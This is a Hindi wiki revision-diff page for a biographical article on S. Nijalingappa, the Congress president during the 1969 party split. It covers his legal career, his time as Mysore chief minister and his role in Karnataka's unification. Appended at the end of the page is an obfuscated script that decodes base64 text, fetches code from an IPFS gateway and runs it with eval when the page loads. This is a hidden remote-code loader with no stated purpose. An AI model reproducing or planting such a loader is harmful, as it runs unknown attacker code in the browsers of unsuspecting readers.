एस. निजलिंगप्पा: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 15: | Line 15: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतन्त्रता सेनानी}} | {{स्वतन्त्रता सेनानी}} | ||
[[Category:इतिहास कोश]][[Category:स्वतन्त्रता सेनानी]][[Category:चरित कोश | [[Category:इतिहास कोश]][[Category:स्वतन्त्रता सेनानी]][[Category:चरित कोश]] | ||
__INDEX__ | __INDEX__ |
Revision as of 08:02, 25 January 2012
एस. निजलिंगप्पा भारतीय राष्ट्रीय कांग्रेस के 1968-1969 में अध्यक्ष थे। इनका जन्म 10 दिसंबर, 1902 ई. को मैसूर राज्य के बेलारी ज़िले में हुआ था। इन्हीं के कार्यकाल में कांग्रेस में विभाजन हुआ। 12 नवंबर, 1969 को प्रधानमंत्री इंदिरा गांधी को कांग्रेस की प्राथमिक सदस्यता से अलग करने की घोषणा की गई थी। सांसदों का बहुमत इंदिरा गांधी के साथ होने के कारण इस प्रकार की घोषणा करने वाले ,जिन्हें सिंडिकेट कहा जाता था, स्वयं कांग्रेस में नगण्य हो गए।
- एस. निजलिंगप्पा ने बंगलौर से अपनी स्नातक पूर्ण की और पुणे से क़ानून की डिग्री प्राप्त की।
- क़ानून की डिग्री प्राप्त होने पर उन्होंने वकालत से अपना जीवन आरंभ किया।
- सन 1936 तक एस. निजलिंगप्पा इसी व्यवसाय में व्यस्त रहे, यद्यपि वे कांग्रेस अधिवेशनों में जाया करते थे।
- 1936 के बाद उनकी राजनैतिक गतिविधियां आरंभ हुई और उन्होंने स्वतंत्रता संग्राम में भाग लिया तथा जेल यात्राएँ की।
- एस. निजलिंगप्पा की गणना मैसूर के प्रमख नेताओं में होने लगी थी, और वे 1956 में मैसूर के मुख्यमंत्री भी बने।
- कर्नाटक के एकीकरण के लिए उन्होंने बहुत काम किया। वे 1968 तक कर्नाटक के मुख्यमंत्री थे।
- इसी उपरान्त एस. निजलिंगप्पा को 'भारतीय राष्ट्रीय कांग्रेस' का अध्यक्ष चुना गया, और उनके ही कार्यकाल में कांग्रेस का विभाजन हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 119 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>